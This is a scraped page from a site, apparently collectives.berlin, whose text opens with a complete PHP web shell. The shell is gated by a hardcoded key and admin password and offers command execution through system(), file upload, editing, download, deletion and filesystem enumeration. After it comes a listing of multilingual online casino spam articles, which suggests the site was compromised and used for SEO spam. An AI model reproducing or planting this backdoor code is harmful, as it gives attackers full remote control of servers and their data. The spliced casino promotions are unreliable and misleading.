if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 30 – collectives.berlin

Your digital paradise.

Category: public

  • Best Online Pokies Australia payment methods: Why PayID and Neosurf are the top choices

    The world of online pokies in Australia is booming, with players seeking thrilling experiences and substantial rewards. In 2026, the landscape for Australian online gaming is shaped by an array of payment methods that prioritize safety, speed, and convenience. Among these, PayID and Neosurf stand out as top choices, attracting players with their unique advantages,…

    Click or not…

  • The most popular games at New Online Casino Canada 2026: A deep dive into

    Online casinos have transformed the gambling landscape in Canada, offering players a plethora of gaming options at their fingertips. As of 2026, new online casinos are emerging with competitive bonuses, diverse game selections, and the best online casino canada latest technology to enhance user experiences. This article explores what makes these new platforms stand out…

    Click or not…

  • Les fonctionnalités clés de l’application mobile Pin Up Casino : parier où que vous

    Les casinos en ligne gagnent en popularité, attirant de nombreux joueurs grâce à leur accessibilité et à leur variété de jeux. Parmi ces plateformes, Pin Up Casino se distingue par son application mobile qui permet aux utilisateurs de parier et de jouer à tout moment, où qu’ils soient, et ceux qui souhaitent en savoir plus…

    Click or not…

  • Comparing mobile casino experiences: finding the right app for you

    The explosion of mobile technology has transformed the online gambling landscape, offering players unprecedented access to their favorite casino games from the palm of their hand. With numerous mobile casino apps available today, finding the right one for your gambling needs can be a challenge. In this article, we’ll explore how to choose the best…

    Click or not…

  • Pinco казиносу: акча чыгаруу жана коопсуздукту камсыздоо жолдору

    Интернет казино дүйнөсүндө оюнчу катары ийгиликтүү болуу үчүн, сизге көптөгөн аспектилерди көңүлгө алуу керек. Pinco казиносу сыяктуу платформаларда акча чыгаруу жана коопсуздукту камсыз кылуу жолдорун билүү, сиздин казино оюнундагы тажрыйбаңызды жогорулатат. Бул макалада, биз pinco казиносу аркылуу акча чыгаруу жана коопсуздук боюнча маанилүү маалыматтарды карап чыгабыз. Pinco казиносу менен баштоо үчүн эмне текшерүү керек Pinco…

    Click or not…

  • PinUp казино: ваш гид по мобильным играм и живым дилерам

    Онлайн казины становятся всё более популярными в мире азартных игр. Благодаря современным технологиям, такие платформы предлагают пользователям множество возможностей для развлечений и выигрышей. Одним из таких увлекательных мест является Pin-Up казино онлайн , которое привлекает игроков не только разнообразием игр, но и удобством мобильного доступа и живыми дилерами. В этом гиде мы рассмотрим особенности PinUp…

    Click or not…

  • BaxterBet Slots: Die spannendsten Spielautomaten für große Gewinne entdecken

    Willkommen in der aufregenden Welt der Online-Casinos, wo Spieler die Möglichkeit haben, mit spannenden Spielautomaten große Gewinne zu erzielen. Die Plattform baxter bet bietet eine moderne Auswahl an Spielautomaten und Live-Casino-Spielen. In diesem Artikel werden wir die faszinierenden Aspekte von Baxters Spielothek sowie die besten Tipps und Tricks für das Spielen von Slots beleuchten. Ein…

    Click or not…

  • Обзор игровых автоматов в Pin Up: что нового в мире слотов

    Игровые автоматы в казино стали неотъемлемой частью развлечений для многих игроков по всему миру. В этой статье мы рассмотрим Пинап KZ ойыншыларына арналған казино , включая новейшие технологии, популярные игры и бонусные предложения, которые делают игру еще более увлекательной. Как новички могут распознавать ключевые сигналы казино Современные казино, включая Пинап, предлагают игрокам широкий выбор игровых…

    Click or not…

  • Pin Up: Обзор мобильного казино и советы по игре на ходу

    Мобильные казино становятся всё более популярными среди игроков, которые ценят возможность играть в любое время и в любом месте. Именно поэтому важно знать, на что обращать внимание при выборе мобильного казино, чтобы обеспечить свою безопасность и комфорт, включая такие моменты, как Авторизация в Пин Ап и поддержка различных платежных систем. В этом обзоре мы рассмотрим…

    Click or not…

  • Los mejores slots en Pin Up: diversión garantizada y grandes premios

    Los juegos de casino en línea han evolucionado significativamente en los últimos años, y los slots son, sin duda, uno de los favoritos entre los jugadores. Dentro de este vasto universo, las plataformas como Big Bola Casino ofrecen una experiencia completa con una amplia variedad de tragamonedas, juegos de casino en vivo y opciones de…

    Click or not…